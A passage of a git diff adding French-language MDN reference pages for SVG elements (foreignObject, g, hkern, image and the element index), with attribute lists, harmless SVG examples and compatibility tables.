+<p>L'élément <strong><code>&lt;foreignObject&gt;</code></strong> permet d'inclure des éléments d'un espace de noms XML différent à l'intérieur du <a href="/fr/docs/Web/SVG">SVG</a>. Dans le contexte d'un navigateur, il s'agit généralement d'inclure du XHTML/HTML.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html; highlight[16,27]">&lt;svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;style&gt;
+    polygon { fill: black }
+
+    div {
+      color: white;
+      font:18px serif;
+      height: 100%;
+      overflow: auto;
+    }
+  &lt;/style&gt;
+
+  &lt;polygon points="5,5 195,10 185,185 10,195" /&gt;
+
+  &lt;!-- Cas d'utilisation courant: inclure du texte HTML dans le SVG --&gt;
+  &lt;foreignObject x="20" y="20" width="160" height="160"&gt;
+    &lt;!--
+      Dans le cas d'un SVG intégré dans du HTML, le namespace XHTML peut
+      être omis, mais il est obligatoire dans le contexte d'un document SVG
+    --&gt;
+    &lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;
+      Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+      Sed mollis mollis mi ut ultricies. Nullam magna ipsum,
+      porta vel dui convallis, rutrum imperdiet eros. Aliquam
+      erat volutpat.
+    &lt;/div&gt;
+  &lt;/foreignObject&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 150, '100%')}}</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{SVGAttr("height")}}</dt>
+ <dd>Cet attribut détermine la hauteur du rectangle.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>auto</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("width")}}</dt>
+ <dd>Cet attribut détermine la largeur du rectangle.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>auto</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("x")}}</dt>
+ <dd>Cet attribut détermine la coordonnée x du rectangle.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("y")}}</dt>
+ <dd>Cet attribut détermine la coordonnée y du rectangle.<br>
+ <small><em>Type de valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a>|<a href="/docs/Web/SVG/Content_type#Percentage"><strong>&lt;percentage&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> À partir de SVG2 <code>x</code>, <code>y</code>, <code>width</code>, et <code>height</code> sont des <em>Propriétés Géometriques</em>, ce qui signifie que ces attributs peuvent également être utilisés comme des propriétés CSS pour cet élément.</p>
+</div>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></dt>
+ <dd><small>Notamment: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd><small>Notamment: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Attributs d'événement</dt>
+ <dd><small><a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_globaux">Attributs d'événements globaux</a>, <a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_graphiques">Attributs d'événement graphiques</a>, <a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_du_document">Attributs d'événement du document</a>, <a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_des_éléments_du_document">Attributs d'événement des éléments du document</a></small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Notamment: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Attributs Aria</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'embedded.html#ForeignObjectElement', '&lt;foreignObject&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'extend.html#ForeignObjectElement', '&lt;foreignObject&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.foreignObject")}}</p>
diff --git a/files/fr/web/svg/element/g/index.html b/files/fr/web/svg/element/g/index.html
new file mode 100644
index 0000000000..1199b22468
--- /dev/null
+++ b/files/fr/web/svg/element/g/index.html
@@ -0,0 +1,86 @@
+---
+title: <g>
+slug: Web/SVG/Element/g
+tags:
+  - Element
+  - Reference
+  - SVG
+  - SVG Conteneur
+translation_of: Web/SVG/Element/g
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>g</code> est un conteneur utilisé pour grouper des objets.</p>
+
+<p>Les transformations appliquées à l'élément <code>g</code> sont reportées à tous ses éléments enfants. Les attributs appliqués sont également reportés aux éléments enfants. De plus, il peut être utilisé pour définir des objets complexes qui seront référencés ultérieurement avec l'élément {{SVGElement("use")}}.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token">html,body,svg </span><span class="punctuation token">{</span> <span class="property token">height</span><span class="punctuation token">:</span><span class="number token">100%</span> <span class="punctuation token">}</span></code></pre>
+</div>
+
+<pre class="brush: html; highlight[4] line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>svg</span> <span class="attr-name token">viewBox</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0 0 100 100<span class="punctuation token">"</span></span> <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/2000/svg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="comment token">&lt;!-- Les enfants de g héritent de ses attributs de présentation --&gt;</span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>g</span> <span class="attr-name token">fill</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>white<span class="punctuation token">"</span></span> <span class="attr-name token">stroke</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>green<span class="punctuation token">"</span></span> <span class="attr-name token">stroke-width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>5<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>40<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>40<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>25<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>circle</span> <span class="attr-name token">cx</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">cy</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>60<span class="punctuation token">"</span></span> <span class="attr-name token">r</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>25<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>g</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>svg</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample('Exemple', 100, '100%')}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément n'a que des attributs globaux</p>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></dt>
+ <dd><small>Notamment: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd><small>Notamment: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Attributs d'événement</dt>
+ <dd><small><a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_globaux">Attributs d'événement globaux</a>, <a href="/fr/docs/Web/SVG/Attribute/Events#Attributs_d'événement_graphiques">Attributs d'événement graphiques</a></small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Notamment: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Attributs Aria</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "struct.html#GElement", "&lt;g&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "struct.html#Groups", "&lt;g&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.g")}}</p>
diff --git a/files/fr/web/svg/element/hkern/index.html b/files/fr/web/svg/element/hkern/index.html
new file mode 100644
index 0000000000..60f8869c10
--- /dev/null
+++ b/files/fr/web/svg/element/hkern/index.html
@@ -0,0 +1,50 @@
+---
+title: <hkern>
+slug: Web/SVG/Element/hkern
+tags:
+  - Element
+  - Police SVG
+  - Reference
+  - SVG
+translation_of: Web/SVG/Element/hkern
+---
+<div>{{SVGRef}}</div>
+
+<p>La distance horizontale entre deux glyphes peut être ajustée minutieusement avec l'élément hkern. Ce proccessus est appelé <a href="https://fr.wikipedia.org/wiki/Cr%C3%A9nage">Crénage</a>.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/SVG/Attribute#Core">Attributs fondamentaux</a> »</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("u1") }}</li>
+ <li>{{ SVGAttr("g1") }}</li>
+ <li>{{ SVGAttr("u2") }}</li>
+ <li>{{ SVGAttr("g2") }}</li>
+ <li>{{ SVGAttr("k") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/docs/Web/API/SVGHKernElement" title="en/DOM/SVGHKernElement">SVGHKernElement</a></code>.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li>{{ SVGElement("font") }}</li>
+ <li>{{ SVGElement("glyph") }}</li>
+ <li>{{ SVGElement("vkern") }}</li>
+ <li><a href="/fr/docs/Web/SVG/Tutorial/SVG_fonts">Tutoriel SVG : Polices SVG</a></li>
+</ul>
diff --git a/files/fr/web/svg/element/image/index.html b/files/fr/web/svg/element/image/index.html
new file mode 100644
index 0000000000..3e9e1ff699
--- /dev/null
+++ b/files/fr/web/svg/element/image/index.html
@@ -0,0 +1,112 @@
+---
+title: <image>
+slug: Web/SVG/Element/image
+translation_of: Web/SVG/Element/image
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément Image SVG (&lt;image&gt;) permet d'inclure une image matricielle dans un document SVG.</p>
+
+<h2 id="Contexte_dUtilisation">Contexte d'Utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Rendu basique d'une image PNG dans un objet SVG :</p>
+
+<pre class="brush: html notranslate">&lt;svg width="100%" height="100%" viewBox="0 0 100 100"
+     xmlns="http://www.w3.org/2000/svg"
+     xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
+  &lt;image xlink:href="/files/2917/fxlogo.png" x="0" y="0" height="100" width="100" /&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Exemple",250,260)}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/SVG/Attribute#ConditionalProccessing" title="en/SVG/Attribute#ConditionalProccessing">Attributs de traitement conditionnel</a> »</li>
+ <li><a href="/fr/SVG/Attribute#Core" title="en/SVG/Attribute#Core">Attributs noyau</a> »</li>
+ <li><a href="/fr/SVG/Attribute#GraphicalEvent" title="en/SVG/Attribute#GraphicalEvent">Attributs d'événement graphique</a> »</li>
+ <li><a href="/fr/SVG/Attribute#XLink" title="en/SVG/Attribute#XLink">Attributs Xlink</a> »</li>
+ <li><a href="/en/SVG/Attribute#Presentation" title="en/SVG/Attribute#Presentation">Attributs de présentation</a> »</li>
+ <li>{{ SVGAttr("class") }}</li>
+ <li>{{ SVGAttr("style") }}</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }}</li>
+ <li>{{ SVGAttr("transform") }}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("x") }}</li>
+ <li>{{ SVGAttr("y") }}</li>
+ <li>{{ SVGAttr("width") }}</li>
+ <li>{{ SVGAttr("height") }}</li>
+ <li>{{ SVGAttr("xlink:href") }}</li>
+ <li>{{ SVGAttr("preserveAspectRatio") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/DOM/SVGImageElement" title="en/DOM/SVGImageElement">SVGImageElement</a></code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Accepté</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Accepté</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Cette table s'appuit sur <a href="/fr/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">ces sources</a>.</p>
+
+<h3 id="Notes_spécifiques_à_Gecko">Notes spécifiques à Gecko</h3>
+
+<p>Avant <span>Gecko 2.0 {{ geckoRelease("2.0") }}</span> seule les images matricielles étaient acceptées.</p>
diff --git a/files/fr/web/svg/element/index.html b/files/fr/web/svg/element/index.html
new file mode 100644
index 0000000000..730456be9f
--- /dev/null
+++ b/files/fr/web/svg/element/index.html
@@ -0,0 +1,295 @@
+---
+title: Element
+slug: Web/SVG/Element
+tags:
+  - Conception adaptative
+  - Elements
+  - Graphiques vectoriels
+  - Références SVG
+  - SVG
+  - dessin
+  - 'l10n:priority'
+translation_of: Web/SVG/Element
+---
+<p>« <a href="https://developer.mozilla.org/en-US/docs/SVG">SVG</a> / <a href="/fr/docs/Web/SVG/Attribute">Référence des attributs SVG</a> »</p>
+
+<p><span class="seoSummary">Les dessins et les images SVG sont créés à l'aide d'un large éventail d'éléments dédiés à la construction, au dessin et à la mise en page d'images vectorielles et de diagrammes. Vous trouverez ici la documentation de référence pour chacun des éléments SVG.</span></p>
+
+<h2 id="Éléments_SVG_de_A_à_Z">Éléments SVG de A à Z</h2>
+
+<div class="index">
+<h3 id="A">A</h3>
+
+<ul>
+ <li>{{SVGElement("a")}}</li>
+ <li>{{SVGElement("animate")}}</li>
+ <li>{{SVGElement("animateMotion")}}</li>
+ <li>{{SVGElement("animateTransform")}}</li>
+</ul>
+
+<h3 id="C">C</h3>
+
+<ul>
+ <li>{{SVGElement("circle")}}</li>
+ <li>{{SVGElement("clipPath")}}</li>
+ <li>{{SVGElement("color-profile")}}</li>
+</ul>
+
+<h3 id="D">D</h3>
+
+<ul>
+ <li>{{SVGElement("defs")}}</li>
+ <li>{{SVGElement("desc")}}</li>
+ <li>{{SVGElement("discard")}}</li>
+</ul>
+
+<h3 id="E">E</h3>
+
+<ul>
+ <li>{{SVGElement("ellipse")}}</li>
+</ul>
+
+<h3 id="F">F</h3>
+
+<ul>
+ <li>{{SVGElement("feBlend")}}</li>
+ <li>{{SVGElement("feColorMatrix")}}</li>
+ <li>{{SVGElement("feComponentTransfer")}}</li>
+ <li>{{SVGElement("feComposite")}}</li>
+ <li>{{SVGElement("feConvolveMatrix")}}</li>
+ <li>{{SVGElement("feDiffuseLighting")}}</li>
+ <li>{{SVGElement("feDisplacementMap")}}</li>
+ <li>{{SVGElement("feDistantLight")}}</li>
+ <li>{{SVGElement("feDropShadow")}}</li>
+ <li>{{SVGElement("feFlood")}}</li>
+ <li>{{SVGElement("feFuncA")}}</li>
+ <li>{{SVGElement("feFuncB")}}</li>
+ <li>{{SVGElement("feFuncG")}}</li>
+ <li>{{SVGElement("feFuncR")}}</li>
+ <li>{{SVGElement("feGaussianBlur")}}</li>
+ <li>{{SVGElement("feImage")}}</li>
+ <li>{{SVGElement("feMerge")}}</li>
+ <li>{{SVGElement("feMergeNode")}}</li>
+ <li>{{SVGElement("feMorphology")}}</li>
+ <li>{{SVGElement("feOffset")}}</li>
+ <li>{{SVGElement("fePointLight")}}</li>
+ <li>{{SVGElement("feSpecularLighting")}}</li>
+ <li>{{SVGElement("feSpotLight")}}</li>
+ <li>{{SVGElement("feTile")}}</li>
+ <li>{{SVGElement("feTurbulence")}}</li>
+ <li>{{SVGElement("filter")}}</li>
+ <li>{{SVGElement("foreignObject")}}</li>
+</ul>
+
+<h3 id="G">G</h3>
+
+<ul>
+ <li>{{SVGElement("g")}}</li>
+</ul>
+
+<h3 id="H">H</h3>
+
+<ul>
+ <li>{{SVGElement("hatch")}}</li>
+ <li>{{SVGElement("hatchpath")}}</li>
+</ul>
+
+<h3 id="I">I</h3>
+
+<ul>
+ <li>{{SVGElement("image")}}</li>
+</ul>
+
+<h3 id="L">L</h3>
+
+<ul>
+ <li>{{SVGElement("line")}}</li>
+ <li>{{SVGElement("linearGradient")}}</li>
+</ul>
+
+<h3 id="M">M</h3>
+
+<ul>
+ <li>{{SVGElement("marker")}}</li>
+ <li>{{SVGElement("mask")}}</li>
+ <li>{{SVGElement("mesh")}}</li>
+ <li>{{SVGElement("meshgradient")}}</li>
+ <li>{{SVGElement("meshpatch")}}</li>
+ <li>{{SVGElement("meshrow")}}</li>
+ <li>{{SVGElement("metadata")}}</li>
+ <li>{{SVGElement("mpath")}}</li>
+</ul>
+
+<h3 id="P">P</h3>
+
+<ul>
+ <li>{{SVGElement("path")}}</li>
+ <li>{{SVGElement("pattern")}}</li>
+ <li>{{SVGElement("polygon")}}</li>
+ <li>{{SVGElement("polyline")}}</li>
+</ul>
+
+<h3 id="R">R</h3>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
+
+<h3 id="S">S</h3>
+
+<ul>
+ <li>{{SVGElement("script")}}</li>
+ <li>{{SVGElement("set")}}</li>
+ <li>{{SVGElement("solidcolor")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+ <li>{{SVGElement("style")}}</li>
+ <li>{{SVGElement("svg")}}</li>
+ <li>{{SVGElement("switch")}}</li>
+ <li>{{SVGElement("symbol")}}</li>
+</ul>
+
+<h3 id="T">T</h3>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+ <li>{{SVGElement("textPath")}}</li>
+ <li>{{SVGElement("title")}}</li>
+ <li>{{SVGElement("tspan")}}</li>
+</ul>
+
+<h3 id="U">U</h3>
+
+<ul>
+ <li>{{SVGElement("unknown")}}</li>
+ <li>{{SVGElement("use")}}</li>
+</ul>
+
+<h3 id="V">V</h3>
+
+<ul>
+ <li>{{SVGElement("view")}}</li>
+</ul>
+</div>
+
+<h2 id="Les_éléments_SVG_par_catégories">Les éléments SVG par catégories</h2>
+
+<h3 id="Éléments_danimation">Éléments d'animation</h3>
+
+<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
+
+<h3 id="Formes_simples">Formes simples</h3>
+
+<p>{{ SVGElement("circle") }}, {{ SVGElement("ellipse") }}, {{ SVGElement("line") }}, {{SVGElement("polygon") }}, {{ SVGElement("polyline") }}, {{ SVGElement("rect") }}</p>
+
+<h3 id="Éléments_conteneurs">Éléments conteneurs</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p>
+
+<h3 id="Éléments_descriptifs">Éléments descriptifs</h3>
+
+<p>{{SVGElement("desc") }}, {{ SVGElement("metadata") }}, {{ SVGElement("title") }}</p>
+
+<h3 id="Éléments_primitives_de_filtre">Éléments primitives de filtre</h3>
+
